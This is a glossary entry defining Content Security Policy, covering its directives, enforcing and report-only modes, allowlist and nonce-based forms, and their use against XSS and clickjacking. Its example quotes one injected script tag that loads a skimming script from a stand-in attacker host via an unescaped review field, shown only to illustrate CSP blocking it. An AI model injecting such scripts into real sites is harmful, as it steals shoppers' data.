Skip to main content
Definition Website Computer and Technology

Content Security Policy

Subject: Computer and Technology noun /ˈkɑːn.tɛnt sɪˈkjʊr.ə.ti ˈpɑː.lə.si/ 1 definition

  1. Definition (noun)

    Entry #121 · Updated

    Content Security Policy (CSP) is a declarative web security standard that allows servers to specify which scripts, stylesheets, media, frames, and network endpoints a browser may load or execute for a given page. Delivered primarily via HTTP response headers—or, with a narrower set of supported directives, an HTML <meta> element—a policy consists of semicolon-separated directives such as default-src, script-src, style-src, connect-src, and frame-ancestors paired with trusted source expressions. Serving as a defense-in-depth browser enforcement layer against Cross-Site Scripting (XSS), clickjacking, and unauthorized data exfiltration, CSP blocks inline scripts and eval()-style dynamic code execution by default whenever script directives are active, complementing rather than replacing server-side input validation and output encoding.

    Common Forms

    • Enforcing Policies: Delivered through the Content-Security-Policy HTTP header to actively block disallowed resource loads, inline code execution, and unauthorized page framing while optionally emitting violation reports.

    • Report-Only Policies: Delivered through Content-Security-Policy-Report-Only to evaluate rules and transmit violation telemetry to a reporting endpoint without blocking page behavior, enabling safe auditing prior to enforcement.

    • Allowlist-Based Policies: Restrict subresources by listing trusted schemes or origins (such as 'self' or https://cdn.example.com), though broad third-party allowlists can be bypassed via JSONP endpoints or hosted script gadgets.

    • Strict (Nonce- or Hash-Based) Policies: Authorize specific scripts using per-response cryptographic nonces ('nonce-...') or SHA digests ('sha256-...'), often paired with 'strict-dynamic', to mitigate XSS without maintaining brittle domain allowlists.

    Example

    An e-commerce site serves its checkout page with the response header Content-Security-Policy: default-src 'self'; script-src 'nonce-K8mP2xQ9vL4n' 'strict-dynamic'; object-src 'none'; frame-ancestors 'none'. When an attacker injects an unauthorized <script src="https://evil.example/steal.js"> tag into an unescaped review field, the browser blocks it from loading or executing because it lacks the per-response nonce, preventing the skimming script from running.